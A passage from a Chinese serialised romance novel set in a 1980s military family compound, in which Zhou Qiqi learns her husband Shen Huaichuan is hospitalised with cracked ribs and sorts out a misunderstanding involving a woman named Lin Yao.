“也是够可怜的,小孩子三岁前没啥记忆,也就是说,记事儿起就没妈,好不容易来了个李红娟,孩子们生怕又没了,所以才对她那么维护。” 邓翠香叹了口气。 “可不是嘛!所以看到李红娟那么掐小雷,我真替孩子不值...” 两人又说了几句,又把话题转到家属院另外一户重组家庭。 那边也是二婚,可是就幸福多了。 朱莹莹不怎么爱说话,全程一直听着,小脑袋都感觉过载了,有些佩服邓翠香。 “翠香姐,你咋啥都知道?” “茅房蹲多了呗~” 邓翠香捂着嘴巴笑,她正和面呢,面盆里的面团被拍得“啪啪”响。 说着她又顺嘴问道。 “对了,咱们今天包多少饺子,你家沈淮川今天中午应该回来吃饭的吧,我看跟他一起参加比赛的都回来了。” 第79章 替沈淮川遮掩什么 “啊?不会吧?和沈淮川一起参加比赛的都归队了?” 周柒柒握着菜刀的手悬在半空,竹制砧板上还沾着新鲜的豆腐渣。 邓翠香将和好的面团重重搁在灶台边,铁勺搅动瓷碗里的蛋液,发出清脆的“叮叮”声。 “是啊,我今天早上去集市的时候,遇见军训处处长媳妇了,她买了猪蹄、排骨啥的一大堆呢,应该是家里男人马上回来了吧,她平时可抠门了,整天稀饭咸菜的,给她家那孩子都吃得跟小豆芽菜似的。” 周柒柒冷不丁听邓翠香这么一说,手上错了劲儿,直接把手给切了。 “嘶~” 疼得她倒吸一口凉气。 “哎哟!” 朱莹莹连忙放下手里择到一半的菜,从兜里掏出纸按住她的食指。 “流这么多血,这可咋办?咱们家属院卫生所没医生,还关着呢...” 朱莹莹急得不行,邓翠香就淡定多了,转身从柜子顶层摸出药箱。 “没事儿,我家有纱布和医用胶布呢!” 向阳整天爬上爬下的,老受伤,她不得不备着。 邓翠香一边裹纱布一边挑眉,眼里藏着促狭。 “柒柒,你这是怎么了?听到你家淮川要回来,太激动了?想男人了?” 周柒柒小脸一红,赶紧否认。 “翠香姐,你说什么呢?我咋可能想男人?” “是他今早才给我打的电话,说是要推迟几天,可能下礼拜才能回来呢。” 朱莹莹恍然大悟。 “哦~怪不得你早上还一张一张地画设计图,说自己简直就是个天才,去电话室接了个电话,回来就开始一直丢废纸团...” 周柒柒赶紧解释。 “莹莹,你可别胡说,我那是思路被打断了...” 邓翠香看着她鼻尖沁出的薄汗,到底心软了,伸手替她理了理歪掉的蓝布围裙带。 “傻妮子,担心就直说。咱们当军嫂的,哪个不是把心悬在刀尖上?你家淮川是全团出了名的标兵,许是留队给新兵示范战术呢。” 朱莹莹也安慰道。 “是啊,之前他不也因为救灾及时,被拉过去做汇报多留了几天吗?别太担心。” 周柒柒咬了咬唇。 “哎呀,我真没担心~咱们赶紧回去包饺子吧,馅都还没弄好呢,一会儿不赶趟了!” 邓翠香在背后捂着嘴偷笑。 “这小妮子,嘴真硬~” 朱莹莹倒是替柒柒说了句话,“她就是性子要强~” 中午的饺子馅,除了邓翠香拌好的猪肉芽菜馅,还有她们三个人刚才去外头野地里采摘的荠菜。 嫩绿的荠菜焯水切碎,配上微焦的豆腐丁、金黄的鸡蛋碎、泡发后韧劲十足的干香菇丁,还有虾皮的咸鲜,红的黄的绿的衬着搪瓷白盆,色彩缤纷得不得了。 然后再用粗陶油缸浇下一勺子热葱油,滋滋作响,香得人直咽口水。 等孩子们回来,猪肉芽菜馅的还没煮好,素馅的先端上来。 被周柒柒包成了月牙形,精致得不得了。 姜向阳上一秒还说自己就只吃肉馅的,下一秒看着舟舟吃得眉眼弯弯,立马就端起筷子在舟舟碗里“偷”了一个,囫囵塞进嘴里。 “好香啊!太好吃了!” 姜营长这个爱吃肉的一人忍不住尝了一个,立马赞不绝口。 “嗯!真香!这么一搭配,真是鲜得不得了,翠香,你可以啊,居然想到这么拌馅!” 铁锅里的饺子在沸水里翻着跟头,邓翠香用竹筷拨弄着,忽然冲周柒柒眨眼。 “这可不是我想的,是柒柒鬼点子多!” “没有没有~” 周柒柒赶紧摆手否认,她可没啥点子,就是之前在饭店打工,跟着老师傅学的。 “你就别谦虚了。” 邓翠香一边说着,一边又顺嘴问自家男人。 “对了,你早上去军区,有没有听说淮川的事儿,他为啥没回来啊?有信儿没?” 她本意是想让自家男人帮着安慰一下周柒柒,却没想到男人直接呛住了。 “咳咳...” 一边咳嗽一边胡乱说着。 “没有,没啥信儿,我又没去,能有啥信儿啊。” “我有信儿就奇怪了,没信儿,真没信儿。” 姜大哥平时说话可不这样,周柒柒感觉有点不对劲儿。 正想追问呢,打门口跑进来一个莽莽撞撞,瘦得跟豆芽菜一样的小女孩,拿着一根清炖的排骨,兴高采烈地凑到了姜向阳边上。 “向阳哥,我们家今天吃排骨,你家今天吃什么呀,我不爱吃,我和你换!” 姜向阳吃荠菜饺子吃得正香呢,排骨都看不上了,拧着眉往后躲。 “我才不和你换呢!我这饺子可好吃了!比肉好吃!” 小女孩嘴一撇,眼泪啪嗒啪嗒往下掉,哭着又回家去了。 姜向阳板着张小脸,沉声道。 “小女孩真麻烦!” 邓翠香立刻一手掌拍到他脑门上。 “你小子,不识好歹?!” 说着她又跟周柒柒、朱莹莹她们笑道。 “向阳可招小女孩喜欢了,刚才那小女孩,就是我之前说的,军训处处长家的孩子,小凤仙,还有邱春芳家的邱四萌,李家的那个佳佳,平时都爱跟在这小子屁股后头。” 周柒柒调笑道。 “这感情好,翠香姐以后就不愁娶不着儿媳妇了,到时候领一个回家就行。” 邓翠香挥着汤勺直摇头。 “可别,那几个女娃娃我一个都看不上,哭哭啼啼的,吵得我脑仁疼,一个个还不爱干净,总挂着鼻涕泡,要娶啊,就娶个舟舟这样的!” 她一边说着,一边给舟舟碗里盛肉饺子。 周柒柒也摸了摸舟舟的小脑袋。 “瞧邓阿姨多喜欢你,你多吃点,多长点肉。” 舟舟没说话,只是把桌上新盛出来的一盘往周柒柒跟前推。 “你这是,让我也多吃点?” 小女孩把头埋在碗里,点了点头。 这一顿饭周柒柒吃得饱饱的。 其他人吃的多的都是荠菜馅的,她就爱吃猪肉芽菜馅地,一个人吃了二十个饺子,撑得肚皮溜圆。 吃完饭,她还想问姜大哥沈淮川的事儿,结果姜大哥一溜烟就跑没了,说是部队里还有事儿,明显是不想多谈。 周柒柒总感觉他好像是在替沈淮川遮掩什么,可又不好细问。 这事情藏在心里,她总是有点心神不宁。 画设计图都有点心不在焉,第三天中午,陪着朱莹莹去军区医院检查的时候。 明明记得自己要去二楼取化验单子,结果在楼梯上走着走着,就给跑到四楼去了,正准备下楼呢,就听到下面三层的楼梯里,传来叽叽喳喳的交谈声。 三楼是住院病房,楼道里的正是住院病房的两个小护士,两人准备换班,正在那儿聊天呢。 其中一个短发的兴高采烈地问着。 “哎哎哎,今天那个女人来了没有?” 第80章 可怜的蒙鼓人 八十年代的楼梯间,铁艺栏杆间的缝隙宽大,站在上层只需随意俯身,便能将楼下情形尽收眼底。 隔着栏杆,周柒柒瞧见盘发的那个年纪大点,在说话前四下看了看。 这会儿已经十一点多了,楼道里没什么人了,她就大胆地说了。 “咋没来呢!” “都三天了,那女人不是提溜着鸡汤就是鸭汤,天天往首长病房里钻!这会儿保准还在里头腻歪呢......” 短发小护士戳了戳她,满脸不忿。 “真是不知羞耻!我听首长的勤务兵说啦,她压根儿就不是首长的媳妇儿,竟还好意思穿着花裙子,天天往人病房里凑!这不要脸的狐狸精,居然敢勾搭首长!要是被首长媳妇知道,有她好受的!非得把她的脸挠花不可!” 盘发护士却摇摇头,眼角的细纹里藏着几分莫测。 “你年纪小,不懂这里面的弯弯绕。” “这事儿啊,恐怕没那么简单,首长受伤住院,自家媳妇却不见踪影,反倒让别的女人日日来病房伺候,依我看啊,首长指不定对那女人也有些心思……” 短发小护士眼睛一下子瞪得老大,“啊?这么劲爆?” 盘发护士愈发来了兴致,接着说道。 “可不,我路过的时候听过一嘴,那女人一直在那儿说什么小时候啊,以前的,我估计这里面的水深着呢,说不定就是首长的老相好!旧情复燃了呢!” 她正说得唾沫横飞,短发小护士却撇了撇嘴,叹道。 “唉,那首长媳妇也太可怜了……” 话音未落,楼道里传来一阵脚步声。 两个小护士慌忙扯了扯彼此的衣襟,低声道:“她来了,别说了!” 周柒柒听了半天了,也有点好奇,透过栏杆往下看去,只见一位身着淡粉色碎花裙的女子,踩着高跟鞋“啪嗒啪嗒”地走来。 那女人就漏了个侧身,走得又快,周柒柒没瞧见她的正脸,只隐约感觉不是个好惹的。 她下楼后,盘发女护士不屑翻了个白眼,“来医院还喷这么浓的香水!” 两人有了新的“素材”低头聚在一起,准备继续蛐蛐,周柒柒赶紧咳嗽了两声。 一开始,她看这两人聊得热火朝天,想着等她们说完再走,免得惊了她们,谁知她们还打算聊下去,只好出声打断,不然朱莹莹该等急了。 听到楼上有动静,两个小护士嘀咕了几句,便各自散开了。 周柒柒松了口气,赶忙去二楼取了化验单,随后到一楼病房门口找朱莹莹。 只见朱莹莹眼眶通红,眼看就要哭出来了。 “怎么去了这么久?是不是结果不好?” 周柒柒揽住她的肩膀。 “怎么就不太好了?别瞎想!咱们得去找医生看了才知道,哪有结果没出来之前,自己先哭一鼻子的?” “你想想,要是最后没事,你这不白伤心了吗?” “咱们退一万步,就算是结果不好,以后也有得哭呢,不差这一会儿!” 她的道理跟母猪戴胸罩似的,一套又一套,朱莹莹听得一愣一愣的,破涕为笑道。 “你咋这么多歪理!” 周柒柒拍了拍胸脯。 “别管是不是歪理?有理你听就完事儿了!” 说着就赶紧推着朱莹莹往医生办公室走。 “赶紧的,再磨蹭下去,大夫都该下班了!” 被她这么一插科打诨,朱莹莹紧张的心情缓解了许多,一起去找了医生。 接诊的是位戴金丝眼镜的中年女大夫,看了半天化验单,又问了不少问题,皱着眉在处方单上沙沙写起来。 朱莹莹攥着周柒柒的手都出了汗,终于咬着牙开口。 “大夫,我是不是......是不是不能生娃了?” 大夫抬头一看,见小姑娘眼眶通红,赶忙摆手。 “不是不是,你别担心。” 朱莹莹顿时喜上眉梢,开心地握住了周柒柒的手。 周柒柒挑眉,一副“我就说吧”的神情,接着问道。 “大夫,那她到底得了啥病?” 大夫耐心解释道。 “这病啊,学名叫多囊卵巢综合征,在育龄女性中很常见,是内分泌方面的问题,只要好好调理,以后还是能怀孕的。” 走出医生办公室,朱莹莹总算松了口气。 周柒柒揽住她的肩膀,边走边说。 “以后你跟我一块儿跑步吧,再学学翠香姐,多听听八卦,别总自己一个人闷着。” 说到这儿,她突然想起刚才在楼道里听到的事儿,赶忙跟朱莹莹分享。 朱莹莹听得有点吃惊。 “真的假的?那两个护士说的首长,他媳妇应该也是军嫂吧?太可怜了,也不知道是咱们军区的,还是哪儿的……” 周柒柒正琢磨着中午吃啥,随口应和道。 “谁说不是呢,指不定还被蒙在鼓里呢……” 两人正说着,走到医院门口时,一眼瞧见了那位穿淡粉色连衣裙的女子。 她似乎把东西落在了报刊亭,正跟卖报的大爷吵得不可开交。 周柒柒赶忙指着那边,对朱莹莹说。 “哎,你看,就是那个女的……” 话音刚落,那个女人就转过脸来。 那模样,周柒柒看着眼熟,但又实在想不起来在哪里见过了。 不知为何,脑中自动回放起刚才那两个护士八卦的那些话。 脑子灵光乍现,想起了刚穿越过来时,那个穿着碎花裙的女人。 她赶忙拽住莹莹的手臂。 “莹莹,今天恐怕我不能跟你一起回军属区了。” “啊?为什么?” 朱莹莹满脸好奇,周柒柒干笑了一声,喉间泛起一丝苦涩。 “因为我好像知道,那个可怜的蒙鼓人是谁了...” 第81章 紧紧依偎在一起! “什么?你是说...那个首长,是沈团长?” 朱莹莹猛地捂住嘴,满脸的不可置信。 周柒柒指尖轻轻攥住袖口,缓缓点了点头,“十有八九是他。” 那个女人她看着实在眼熟,又想不起是在哪儿看见的,结合那些话她才终于想起来了,可不就是林瑶吗? 再想到那天吃饺子的时候,姜营长遮遮掩掩的样子,肯定是在替沈淮川遮掩着什么。 综合起来,真相就只有一个了。 朱莹莹气得指尖发颤,一把勾住周柒柒的手腕就往前拽。 “走!我陪你去要个说法去!” 周柒柒赶忙拉住她。 “哎哎哎,方向错啦~先去医院!把事情弄清楚再说,说不定是误会呢!” 她不是感情用事的人,而且之前她刚说过。 在事情没有彻底弄清楚之前,不能先内耗。 这是她一贯的做事准则。 而且,直觉告诉她,沈淮川不是那种人。 她很理性。 两人一路急匆匆地跑到了三层的住院部。 这会儿大部分护士都去吃饭了,恰好是周柒柒刚刚见过的那位短发小护士在值班。 别看这小护士闲聊的时候爱说八卦,工作起来却是格外认真负责。 一听二人打听“沈淮川是不是在这儿住院”,立刻便板起了脸。 “不好意思,这属于首长的隐私,我们不便随意透露。麻烦二位说明一下身份,出示一下证件。” 周柒柒今天是来陪着朱莹莹来看病的,还真没带什么证件。 这年代还没有身份证这一说,平日里办点事儿都得用户口簿或者介绍信,可那玩意儿又不便随身携带。 好在朱莹莹为了证明军属身份,把户口簿带来了。 短发小护士一看户口簿上印着“军属”的章子,态度立马就变恭敬了。 不过还是说要给军区打个电话,核实一下她们的身份。 小护士打电话的当口,身后传来一阵"哒哒哒"的高跟鞋声。 周柒柒回身一看,正是穿着一身淡粉色碎花裙的林瑶。 她走得飞快,压根没往护士台这边瞧,"啪嗒啪嗒"的就过去了。 朱莹莹听了周柒柒的话,没第一时间叫住她,可眼睁睁看着她径直往病房里钻,心里还是有些气不过,问起了护士。 “怎么她就能直接进去啊?” 短发小护士有些不好意思地挠了挠头。 “没办法,她是医生,有省军区医院的工作证。” 说着便放下电话,走出了护士台。 “核实好了,您二位的身份没问题,不好意思。” “沈团长住在3号病房,我带你们过去吧。” 周柒柒瞧了眼小护士胸口的名牌,名字叫袁小圆,才十七岁,微笑着说道。 “有劳你了,小圆护士。” “不、不劳!” 小圆慌忙摆手,耳尖红得快滴血。 她这会儿已然确定,周柒柒就是那位受伤首长的夫人。 她还是头一回见到这么年轻的首长夫人呢,生得好看不说,穿得更是漂亮,她就是在百货大楼都没见过这么好看的裙子! 整个人跟个仙女似的! 更难能可贵的是,居然对她这么和气,这么温柔,还叫了她的名字。 那可是团长夫人啊!妥妥的大人物! 在军区医院工作小半年了,她还从没受过这般待遇,心里头暖乎乎的。 这么一对比,那个什么林瑶就更招人烦了。 仗着自己是省军区医院的实习医生,压根不把她们这些护士放在眼里,成天拿鼻孔看人。 她一点儿都不喜欢那女人! 也不知道首长怎么就被那女人给迷住了! 对了!林瑶! 小圆这才想到,林瑶还在首长病房里呢! 这要是被首长夫人瞧见了,不得受刺激啊! 不行,她得想想办法。 眼瞅着就快走到病房了,她赶忙张开双手拦住去路。 “夫人,你们渴了吧?要不我先去给你们倒杯水...” 周柒柒瞧这小丫头慌里慌张的模样,觉得怪可爱的,轻轻一笑。 “不用啦,接着带路吧。” 瞧着首长夫人这般大气从容,小圆心里头更替她难过了,迈着沉重的步子走到了三号病房门口。 门压根没关,里头隐隐传来女人娇娇柔柔的说话声。 “淮川哥,我刚才的话才说了一半,你还记得小时候吗,我最喜欢吃酸梅粉了,你总是用你的零用钱买来送给我,还有水果糖,你也不吃,都剥开给我了...” “我知道你对我好。” “淮川哥,你不凶我,是不是代表你不生我的气了?我就知道,你心里还是有我的...” “毕竟我们从小就定的娃娃亲...” “淮川哥,你就帮帮我吧~就这一次,最后一次~” ... 里头的话越说越离谱,小圆是一个字都听不下去了,脸色一沉,抬手就敲了敲门。 病房的门板本就轻薄,门又只是半掩着,这么一敲,门直接晃晃悠悠地敞开了。 窗外阳光刺眼,一束光直直照了进来。 众人看得清清楚楚,房间里一男一女,此刻正掀开被窝,紧紧依偎在一起! 瞧见这一幕,门口的三个女人都惊呆了。 “砰”的一声,周柒柒手里的挎包跌在地上。 她只觉心口像被人扎了根细针,明明没见血,却有钝钝的疼蔓延开来,指尖凉得厉害。 “柒柒...” 朱莹莹赶忙抓住她的胳膊,生怕她站不稳。 周柒柒咬住后槽牙,硬生生扯出个笑来。 “不妨事,咱们先走吧,别扰了人家。” 朱莹莹急得直跺脚。 “要不问问清楚?指不定是场误会……” “还有什么可问的?” 周柒柒别过脸去,指尖发颤地去捡挎包,“走罢。” 她刚转身要拉朱莹莹离开,身后忽然传来声清亮的呼喊—— “嫂子!” 这声音...好像是... “秦磊?” 她还没来得及细想,一个穿着军装的小伙子就"蹭"地从病床上蹿到了她面前。 “嫂子,真的是你!你咋来了?” 周柒柒冷不丁被吓了一跳,往病床上一瞧,又看看眼前的人,眉尖拧成个结。 “不对啊,等会儿,病床上的人,是你?” 她立马意识到自己误会了,可还是觉得纳闷,赶忙追问道。 “那你和林瑶,你俩怎么抱一块儿了...” 秦磊急得直搓手,五官皱成团,赶忙解释道。 “什么抱一起啊!我刚才睡着了!迷迷糊糊听见有人在我耳边叽叽喳喳的,又听见有人敲门,刚想起来,她就靠我身上了!” “我都快被她烦死了!咋可能和她抱一块儿!” 他话音刚落,林瑶也从病房里走了出来。 第82章 交代问题 她瞅着秦磊,先是一愣,随后满脸不屑地说道。 “怎么是你这个大头兵?沈淮川呢?” 秦磊浓眉一拧,当兵的直爽性子上来,没好气地剜了她一眼。 “我们团长嫌你碍眼!搬VIP病房了!” 周柒柒此刻只想弄清楚沈淮川到底啥情况,其他事儿都顾不上了,连看都没看林瑶一眼,直接抓住秦磊的胳膊。 “在哪儿?现在带我过去?” “好。” 秦磊二话不说,带着周柒柒就走,朱莹莹也赶紧跟上。 他们走得太着急,地上的挎包都没顾上捡。 短发护士小圆帮忙捡起来,赶忙追了上去。 “不是,怎么就都走了?” 林瑶还傻愣愣地待在原地,还没弄明白咋回事儿呢,就瞧见所有人都走了,她也赶紧追了上去。 军区的VIP病房设在最顶层四楼,独成一隅的小区域。 门口立着两位身着笔挺制服的兵哥哥,腰间别着的半自动步枪泛着冷光,瞧着格外威严。 秦磊领着周柒柒、朱莹莹两位嫂子先进了病房,门还敞着。 小护士小圆被拦在门口,只好跟兵哥哥解释一番,将挎包交给他们,让他们帮着交给首长夫人。 林瑶气喘吁吁地赶到,竟然也想跟着混进去,扯着嗓子喊。 “我跟前面那俩女的一块儿的!也是沈淮川家属!” 边说边往门里挤。 小圆眼疾手快地喊了一嗓子。 “她不是!首长压根不想见她!” 两兵哥哥对视一眼,并肩往门前一站,铁铸似的堵得严丝合缝,掌心同时摸向腰间的步枪。 黑洞洞的枪口往那儿一杵,压迫感十足。 林瑶啥时候见过这种阵仗啊,吓得魂都快飞了,往后退两步,一屁股摔在了地上。 小护士捂着嘴直乐,在心里默默吐槽了一句,“活该!” 转身哼着曲儿下楼了。 周柒柒那边。 她一边走一边就问了秦磊,“到底啥情况?” 秦磊跟开了机关枪似的,巴拉巴拉说个不停。 “鬼知道啊!那个叫林瑶的,不知道从哪儿知道团长在这儿住院,天天跑过来送汤,我们团长理都没理他,刚才看她又来了,赶紧找主任给换到VIP病房了!” “之前团长不想搞特殊,都不愿意住VIP病房的。” “你相信我,嫂子,团长跟她可一点儿事儿都没有!” “他还特意让我在病房等着,跟那女的把话讲清楚,让她别再来烦了!” 周柒柒听得头都大了,好不容易等他喘口气,才无奈道。 “我不是问这个,我是想问,沈淮川咋受伤的?” 她可不像邱春芳她们那样,听风就是雨的,刚才看见听见那些。 她基本可以判断出来,这事儿估计纯属误会。 都是那个林瑶在搞事,听起来,她像是有事儿要求沈淮川。 “哦!这事啊...” 秦磊挠了挠板寸头,这才慢悠悠讲起来。 前几天的军区武装越野比赛中,沈淮川带领的军官小队在夜间通过断崖路段时,有一名军官不慎滑坠,沈淮川不顾自身安危拽住了他。 结果自己整个人都撞在了突出的岩壁上... 秦磊说得轻描淡写,周柒柒却听得心惊肉跳,指甲几乎掐进了掌心。 “严不严重?” 她的声音轻得像一片羽毛,颤抖得厉害。 恰在此时,前方病房传来压抑的咳嗽声——“咳咳咳……” 周柒柒快步走到门口,手搭在门把手上,却突然犹豫了。 秦磊贼机灵,一溜烟跑进去,凑到沈淮川耳边嘀咕了几句。 等周柒柒咬咬牙推门进去时,沈淮川刚好转过脸来。 四目相对的刹那,周柒柒鼻尖猛地一酸。 跟沈淮川相处这一个多月,他向来冷峻又意气风发,哪见过他这般模样—— 胡子拉碴的,面色憔悴,病号服松松垮垮地挂在身上,明显瘦了一圈,哪还有平时在军区叱咤风云的模样? “你...”“你...” 两人同时开口,又同时闭上嘴。 沈淮川撑着床单要坐起来,牵扯到肋骨处的伤,顿时咳得肩头直颤。 “不许动!不许说话!” 周柒柒快步上前,伸手按住他肩膀,眼角的泪珠跟着颤巍巍地往下掉。 两人明显有话要说,朱莹莹拉着在一边兴冲冲看戏的秦磊出去,将空间留给两人,还贴心地把门带上了。 房间里静得能听见吊瓶里药水滴落的声音。 周柒柒盯着沈淮川眼下的青黑,心里跟被猫抓似的,揪得生疼,问道,“怎么不说话?” 沈淮川眨了眨眼,声音哑得像砂纸磨过,“你不让说。” 周柒柒又窘又难过,故意绷着脸。 “现在让你说了!交代问题!” 她话音刚落,沈淮川就跟连珠炮似的开了口,语速快得跟平时判若两人,大概是受伤后情绪也跟着松快了些,眉梢眼角都是紧张。 “之前她就给我打过电话,我一次都没接过,我也不知道她为什么会照过来,她不是来找我复合的,是...” 话没说完,就被周柒柒一根纤细的手指轻轻按住了唇。 怎么他和秦磊都这样,好似她很在意那些八卦似的。 她根本就不是那种意气用事的人好不好? 她嗔怪地瞅他一眼,“谁问你这个了?” 话一出口,她就后悔了。 这口吻太像撒娇的小妻子,可她明明只是想当一个“合格”的妻子,跟他搭伙过日子而已。 不行不行,这样不对。 她清了清嗓子,表情立马变得严肃了起来,像个教导主任。 “我是让你交代,为什么受伤了不告诉我...” 而沈淮川则跟做错事的小孩似的,耳朵尖都红了,喉结滚动半天才哑着嗓子开口。 “怕你担心...” “之前邓嫂子跟我说过,之前去救灾,你担心的好几天都没合眼...” “哪有啊...” 周柒柒有点心虚,赶紧转移话题,手指轻轻抚过他胸前的固定带,触到绷带下凹凸的纱布,语气又不由自主软下去。 “哪里受伤了?伤得是不是很严重?疼不疼?” 沈淮川摇了摇头,“不严重,只是有两根肋骨骨裂了而已。” 周柒柒不由自主地抬高声音,声音听着又快哭了。 “肋骨骨裂?还只是而已?” 沈淮川赶忙解释,“真的!一点儿都不严重!” 他受过的伤里,这已经算是轻的了。 周柒柒板着脸,“我不信!你让我看看伤口!” “啊?怎么看?” 沈淮川瞪大眼,还没问出口,却见周柒柒的指尖已经触向了他胸前的纽扣... 第83章 真是人至贱则无敌啊! 周柒柒的指尖拂过病号服的塑料纽扣,动作轻得像春燕点水。 一颗,两颗,三颗... 解开前两颗时,她耳尖还泛着薄红,可当看到他胸前缠得紧实的纱布,以及纱布边缘渗着的褐色血痂,那抹羞赧登时化作了满满的酸涩。 除去肋骨处裹着的十几圈纱布,他胸口布满了刚刚结痂的伤口,褐红的痂块叠着新生的粉肉,几乎没有一块儿完好的肌肤。 “怎么那么多伤口...” 她垂着脑袋凑近他胸前,睫毛在眼下投出细碎阴影,声音闷闷的。 沈淮川喉头动了动,看她鼻尖都快贴上自己胸口,心脏忽地跳得发慌,忙不迭地解释。 “大部分都是皮外伤,只是看起来严重,其实不疼的,不信你摸...” 话刚说完,胸口就覆上团温软。 沈淮川这具身体,周柒柒已经不是第一次看了,但还是第一次摸。 但她心中全无旖旎,从肋骨一路往下描摹。 摸着摸着,就碰到了他腰侧那道狰狞旧疤上,这道伤疤她第一次见面就看到了,但没没细看。 如果摸着,才发现,这道伤疤居然那么深。 她想丈量一下,这道伤疤到底有多长,但刚摸到腰线,他猛地扣住她手腕。 “可以了。” 喉结在苍白皮肤下滚过,他别过脸去看窗外,耳尖红得要滴血。 周柒柒仰起脸,看他拧着眉头,指尖不自觉蜷了蜷,“疼了?” “一点点。” 沈淮川脸色发白,喉头不自然地滚动了一下,赶忙转移了话题。 “不用担心,大夫说了,我的肋骨骨裂是非位移型的,不严重,修养一两月就能完全康复。” 周柒柒撇了撇嘴。 “你说的我才不信,我得自己问问去。” 这男人住院都瞒着她,在她这里已经信用破产了,信用分都负了。 沈淮川看她这就要走,赶紧又拽了拽她,“这会儿都十二点了,大夫早下班了。” 她抬腕看表,忽然想起什么似的转身。 “光顾着说话,你还没吃饭吧?我去国营饭店给你打菜。” “不用,让石头去食堂打回来就行。” 周柒柒当然不同意了。 “那怎么行?你再怎么说也是骨裂,得吃点有营养的。” 眸子转了转,戳了戳沈淮川的胸口,眼尾扬起抹促狭。 “还是说,你喝鸡汤、鸭汤,乌龟王八汤什么的,已经喝饱了?” 她语气带着抹威胁,沈淮川忙摆手。 “没有,林瑶送来的汤,我一口都没喝过,不信你问秦磊。” “好啦,勉强相信你。” 周柒柒本来也是开玩笑的,这会儿提到林瑶,开口问道。 “哦,对了,你之前说林瑶来找你,是为了什么?” 说到这个,沈淮川脸色马上沉了下去,说道。 “为了省军区医院的工作。” 林瑶家是杏林世家,自己读的也是医科大学,但是在学校成绩一直都是垫底的,分不到什么好单位。 去年分配的时候,林瑶为了这事儿特意找到他。 说是只要让她进了省军区医院,就愿意嫁给他。 沈淮川没答应,但是他妈疼儿媳妇,瞒着他特意找了之前他救过的军区医院院长,额外给林瑶增加了一个实习的名额。 等沈淮川知道的时候,林瑶的工作关系都转过去了。 军区医院和一般的医院不一样,一般只选拔各个学校的人才,又有保密要求,基本上去实习的都能直接留下。 结果上个月月底,翟院长特意给军区来了电话,说林瑶各项成绩都垫底的,又经常请假,按照表现来说不可能留下,只能分配到最基层的卫生所。 问沈淮川什么意见。 周柒柒立马问道,“你怎么说的?” 沈淮川耸了耸肩,轻描淡写道。 “就说了一句,按规矩办。” 名单下来,林瑶当然急了,一连给沈淮川打了好多电话,又不知道从哪儿打听到他在这里住院,直接找上门来了。 提着鸡汤、鸭汤什么的,骚扰了他好几天。 周柒柒听得直皱眉,这林瑶真不是个善茬! 瞅着她之前和许树那么亲密,还在她跟前用发绳宣示主权,估计这对渣男贱女早就搞在一起了。 两人一个有从小定娃娃亲的未婚夫,一个有青梅竹马的童养媳。 都不想被人指着脊梁骨骂。 故意设计她和沈淮川被“捉奸”,好正大光明地退婚,在一起。 但在此之前,还不忘吃干抹净对象的最后一丝价值。 结果现在留院的名额没了,这林瑶又巴巴地找过来了。 回想起刚才林瑶在病房里说的那些话,周柒柒不禁有些感叹。 真是人至贱则无敌啊! 不过好在,沈淮川还算聪明,知道转到高级病房来。 门口有兵哥哥把守,林瑶没办法进来骚扰。 又说了几句话,周柒柒赶紧把秦磊叫进来看护,自己和朱莹莹在门口说话。 她简单的事情说了说,最后总结了一句。 “总而言之,这事儿跟我一开始想的一样,就是个误会。” 朱莹莹听到事情真相,总算松了口气。 不过看周柒柒眼角湿湿的,又忍不住调侃道。 “是吗?刚才在楼下你可不是这么说的,非拉着我走呢!” 周柒柒赶忙摸了摸肚子转移话题,“先别说了,咱们先去买饭去,我饿了都。” 朱莹莹看她说话的时候,眼神一直不自觉往病房里瞅,拍了拍她的肩膀道。 “我去买吧,你在这儿陪沈团长。” “那也行,诺,给你饭钱。” 周柒柒确实担心沈淮川,从挎包里拿出十块钱来,朱莹莹说什么都不肯收。 柒柒都不嫌麻烦,陪她过来看病,她请吃饭本来就是应该的,不可能要钱。 感情都是相互的,柒柒对她好的好,她都看在眼里呢。 周柒柒也不矫情,跟莹莹特意点了几道菜。 沈淮川是骨折,又失了不少血,得多吃点蛋白质,还有铁元素什么的。 最好是弄点红肉,或者有鱼什么的。 朱莹莹点了点头,表示都记住了,转身就要走,周柒柒又提议道。 “哎,我让秦磊陪着你一起去吧。” 朱莹莹赶忙摆了摆手,“别了,他话太多了,我害怕...” 周柒柒这会儿才想起来,她这个闺蜜是个社恐,把她跟秦磊这种话痨安排在一起确实不太妥,只好点了点头。 国营饭店距离军区医院不太远,想着朱莹莹差不多半个小时就能回来。 没想到最后快四十五分钟了,朱莹莹才推开病房的门,回来之后还满脑门的汗。 周柒柒赶紧问道,“莹莹,怎么回事儿?” 朱莹莹都快哭了,委屈巴巴道。 “那个林瑶,她还在门口呢!” 第84章 哪儿有点首长夫人的样儿? 周柒柒还以为林瑶进不来高级病房,就会灰溜溜走了呢。 没想到这女人还不死心,竟然还在外头耗着。 朱莹莹眼眶泛红,委委屈屈开口。 “她好像把我认成你了,堵在楼道里,非让我说个明白...” 周柒柒听着,不禁哑然失笑。 最近朱莹莹心思重,没好好吃饭,还隔三岔五地跑去“栓娃娃”。 看起来确实和刚穿越过来的原身周柒柒一样,干瘦得像小豆芽菜一样。 而且为了方便检查,她还穿了一身蓝褂子和黑裤子,看着就更像了。 但是,两人五官可是截然不同啊,这都能认错? 林瑶居然敢欺负到莹莹头上去,周柒柒肯定是要收拾她的,不过不是现在。 这会儿她肚子都快饿瘪了,还是先填填肚子要紧。 这会儿的国营饭店不比现在的大饭店,每天做什么菜都是提前一天定好的,不能随便点菜。 今天菜单里没鱼,也没什么汤,莹莹只能带回了几样清淡的炒菜。 吃饱喝足后,周柒柒总算有力气了,带着朱莹莹便往外走。 “周柒柒,你给我出来~!” 楼梯间外,林瑶扯着嗓子朝里喊着。 一开始,她是有点怕那门口两个站岗的兵哥哥,但后来发现,他们只管看门,只要不进去,是不能拿她怎么样的。 渐渐地,她胆子也大了起来,扯着嗓子一个劲儿地喊。 引得每个出入高级病房的家属和军人都忍不住朝她看,格外扎眼。 周柒柒往门口走时,还听见两个妇女在那儿嘀咕。 “那周柒柒是谁啊?怎么回事?” “我也不清楚……” 能出入高级病房,他们家属的级别自己也不低,不像邱春芳她们那么爱搬弄是非,但遇上这样的事儿,也难免有些好奇。 真够丢人的! 周柒柒忍不住翻了个白眼,气鼓鼓地冲了出去。 “周柒柒,你给我...” 外面,林瑶还在喊着呢。 不过喊了一个多钟头,中午又没吃饭,有点喊不动了。 直到忽然看见周柒柒从门里走了出来,她立马精神起来,冲着周柒柒就过去了,嘴里还喊着,“好啊你!” 可她发疯的对象却不是真正的周柒柒,而是周柒柒身后的朱莹莹。 “哎哎哎~这儿呢!” 